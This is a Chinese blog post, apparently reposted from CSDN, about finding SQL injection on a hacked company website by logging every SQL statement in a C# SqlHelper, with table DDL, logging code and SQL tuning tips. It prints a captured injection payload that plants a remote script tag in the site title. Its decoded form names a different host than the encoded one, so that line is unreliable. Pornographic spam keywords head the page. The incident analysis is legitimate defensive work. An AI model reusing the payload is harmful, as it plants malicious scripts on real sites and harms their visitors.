人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

記一次成功的sql注入入侵檢測附帶sql性能優(yōu)化

發(fā)布日期:2022-01-23 19:10 | 文章來源:CSDN

問題1.
老板對你說,以前剛做完網(wǎng)站好好了,沒有出現(xiàn)木馬,怎么你來了,就會出現(xiàn)木馬,先別說了,趕緊解決問題,我徹底無語,但是如果爭吵,其實證明你和老板一樣無知,拿出證據(jù)和事實分析來讓公司其他稍微懂技術的一起來證明,公司網(wǎng)站被掛馬不是你來了的錯。
如是我通過網(wǎng)站目錄仔細排查將通過fck上傳的網(wǎng)馬刪除并修補fck的上傳漏洞并記下了這篇 Fckeditor使用筆記 ,其實很多人都遇到過,也解決過,都是小問題,但是讓你老板明白比解決漏洞問題更蛋疼,我那解釋的叫一個汗啊,恨不得把公司所有稍微懂點技術的都叫上讓他們看什么是大馬什么是小馬,然后演示怎么上傳木馬,奶奶的,黑客教程普及啊。
問題2.
網(wǎng)站又出現(xiàn)問題,上次的問題解決了不過兩個月,網(wǎng)站又被入侵掛馬,如是老板這次再說因為我來了才出問題,立馬走人,這就是為什么不能更不懂技術的人硬碰硬,更不能和你的老板來說,說了你又不懂。
但是要命的是網(wǎng)站是以前的技術開發(fā)的二等殘廢,在別個的cms上修改的,我必須保證網(wǎng)站在的開發(fā)的同時舊的模塊還可以使用,通過逐步更新的方法將網(wǎng)站底層翻新,但是那么多頁面,你很難一個一個去檢測那個頁面有漏洞,如是寫出下面的檢測代碼,沒想到這么簡單的就搞定了,并且可以通過此方法優(yōu)化你的sql。
第一步建立一個sql日志表
復制代碼 代碼如下:

CREATE TABLE [dbo].[my_sqllog](
[id] [bigint] IDENTITY(1,1) NOT NULL,
[hit] [bigint] NULL,
[sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[begintime] [datetime] NULL,
[endtime] [datetime] NULL,
[fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
[lastelapsedtime] [bigint] NULL,
CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

記錄sql語句、此sql語句被執(zhí)行次數(shù),參數(shù)及值,記錄開始時間,結束時間,來自哪個頁面,ip和此條語句執(zhí)行時間(暫時沒用)
第二步在sqlhelper里寫記錄代碼
兩個方法本來可以寫成private的,但是此二等殘廢的網(wǎng)站其他地方用的別的sqlhelper類,就直接調用此處通過合理優(yōu)化的sqlhelper類的方法了。
代碼1:插入日志
復制代碼 代碼如下:

public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
{
#region 參數(shù)處理
string colums = "";
string dbtypes = "";
string values = "";
string paramdetails = "";
if (cmdParams != null && cmdParams.Length > 0)
{
foreach (DbParameter param in cmdParams)
{
if (param == null)
{
continue;
}
colums += param.ParameterName + " ";
dbtypes += param.DbType + " ";
values += param.Value + ";";
}
paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
}
string fromurl = "";
if (System.Web.HttpContext.Current!=null)
{
fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
}
// commandText = commandText.Replace("'","‘").Replace(";",";");
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@hit",1),
new SqlParameter("@sqltext",commandText),
new SqlParameter("@paramdetails",paramdetails),
new SqlParameter("@begintime",DateTime.Now),
new SqlParameter("@endtime",DateTime.Now),
new SqlParameter("@fromurl",fromurl),
new SqlParameter("@ip",Web.PressRequest.GetIP()),
new SqlParameter("@lastelapsedtime",0),
};
#endregion
using (DbConnection connection = Factory.CreateConnection())
{
connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;
string sql = "";
// 執(zhí)行DbCommand命令,并返回結果.
int id =
Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
"select top 1 id from my_sqllog where sqltext=@sqltext",
new SqlParameter("@sqltext", commandText)));
if (id > 0)
{
sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
}
else
{
sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
}
// 創(chuàng)建DbCommand命令,并進行預處理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
// 執(zhí)行DbCommand命令,并返回結果.
int retval = cmd.ExecuteNonQuery();
// 清除參數(shù),以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}

代碼2:判斷此條sql是否存在
復制代碼 代碼如下:

private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
// 創(chuàng)建并打開數(shù)據(jù)庫連接對象,操作完成釋放對象.
using (DbConnection connection = Factory.CreateConnection())
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 創(chuàng)建DbCommand命令,并進行預處理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
// 執(zhí)行DbCommand命令,并返回結果.
object retval = cmd.ExecuteScalar();
// 清除參數(shù),以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}

第三部在你的每個執(zhí)行sql語句的方法里加入以下代碼,不管是ExecuteScalar、ExecuteReader還是ExecuteNonQuery等等都加上
復制代碼 代碼如下:

//執(zhí)行sql之前進行日志記錄操縱
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);

代碼示例:
復制代碼 代碼如下:

public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 創(chuàng)建DbCommand命令,并進行預處理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
//執(zhí)行sql之前進行日志記錄操縱
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
// 執(zhí)行DbCommand命令,并返回結果.
object retval = cmd.ExecuteScalar();
// 清除參數(shù),以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}

然后你會發(fā)現(xiàn)入侵的入口被記錄下來了,后面方框里的就是構造注入的sql

構造sql如下: 39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
轉碼后變成這樣了:   update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://jb51.net/ur.php></script>')
這個就是木馬地址,沒事你就別點了,好奇害死貓。 小結:
既然知道入口就知道怎么補救了吧,把string類型該過濾的都過濾掉,int類型的就得是int類型,別讓數(shù)據(jù)庫替你隱式轉。通過此sql日志記錄,你應該發(fā)現(xiàn)一點那個hit還是有點價值的。
通過select top 100 * from my_sqllog order by hit desc
你會發(fā)現(xiàn)你寫的那么多sql原來真垃圾,在條件允許的情況下干嘛不把它放到緩存里。所以后來我寫的sql基本不在這top 100里。
拋磚引玉,望高手批評,以上入侵方法希望剛學習做程序員的同學不要用來欺負小網(wǎng)站,傷不起。
作者:jqbird

版權聲明:本站文章來源標注為YINGSOO的內(nèi)容版權均為本站所有,歡迎引用、轉載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內(nèi)容涉嫌侵權,請聯(lián)系alex-e#qq.com處理。

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務

7x24全年不間斷在線

專屬顧問服務

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務熱線

關注
微信

關注官方微信
頂部